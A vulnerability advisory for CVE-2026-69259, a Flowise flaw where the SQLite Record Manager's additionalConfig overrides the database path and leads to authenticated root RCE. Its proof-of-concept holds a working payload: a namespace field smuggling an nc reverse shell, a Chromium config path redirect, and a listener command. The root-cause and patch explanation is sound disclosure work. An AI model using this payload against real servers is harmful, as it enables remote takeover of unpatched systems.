criticalCVE-2026-69259Aug 4, 2026

CVE-2026-69259: Flowise SQLite Record Manager Authenticated RCE via Arbitrary File Write

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An authenticated Flowise user can redirect the SQLite Record Manager node to write a crafted database file to any path on the server, including Chromium config directories, and then trigger code…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69259: Flowise SQLite Record Manager Authenticated RCE via Arbitrary File Write

The problem

The SQLite Record Manager node accepts a JSON additionalConfig input from users. That object is spread into the SQLite connection options after the hardcoded database path is set, so a key named database inside additionalConfig silently overwrites the intended path.

Because the official Docker image runs as root, the attacker can write the SQLite file anywhere on the container filesystem. The namespace field is written verbatim into a cell of that database, so it carries an arbitrary shell payload. When Chromium later reads the file as a .conf script, the payload executes.

Proof of concept

A working proof-of-concept for CVE-2026-69259 in flowise, with the exact payload below.

json
// Step 1 — SQLite Record Manager node inputs (sent as chatflow JSON)
// tableName: exactly 13 chars so the SQLite serial-type byte encodes as 0x27 (single-quote)
// namespace: closes that quote then injects a reverse-shell via command substitution
// additionalConfig: redirects the database file to a Chromium config path

{
  "tableName": "AAAAAAAAAAAAA",
  "namespace": "'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)",
  "additionalConfig": "{\"database\": \"/etc/chromium/exploit.conf\"}"
}

// Step 2 — Trigger Puppeteer via a second chatflow (SQL Database Chain node)
// Puppeteer launches chromium-browser, which sources /etc/chromium/*.conf,
// executing the reverse shell written in the SQLite cell above.

// Listener on attacker host:
// nc -lnvp 1337
// Result: uid=0(root) gid=0(root) ...

The root cause is a missing allowlist on additionalConfig: the code did const sqliteOptions = { database, ...additionalConfiguration, type: 'sqlite' }, placing the user-controlled spread after database, which lets any key in additionalConfiguration clobber it.

This is a classic object-spread property shadowing bug (CWE-94 / arbitrary write primitive).

The SQLite binary structure is the second critical piece. A tableName of exactly 13 characters makes the serial-type byte for that TEXT column encode as 0x27, the ASCII single-quote character. The namespace value (also written into the database) then starts with a ' to close that implicit quote, followed by $(...) shell command substitution.

When Chromium sources the .conf file as a shell script, the parser interprets those bytes as valid shell syntax.

The patch (PR #6464, commit d071868) removes the database key from additionalConfiguration before the spread, or replaces the spread entirely with an explicit allowlist of safe TypeORM SQLite options, so database can no longer be overridden by user input.

The fix

Upgrade flowise-components to 3.1.3 (Flowise 3.1.3, released via flowise@3.1.3 tag, commit d07186844263bad057008863037466aff7c3390f). The fix strips the database property from any user-supplied additionalConfig before it is merged into the TypeORM connection options, preventing path redirection.

As a defense-in-depth measure, run the Flowise container as a non-root user so that even if a write primitive is found, attacker reach is limited to files owned by that user.

Reported by Alex Brown (elttam).

References: [1][2][3][4][5]

Related research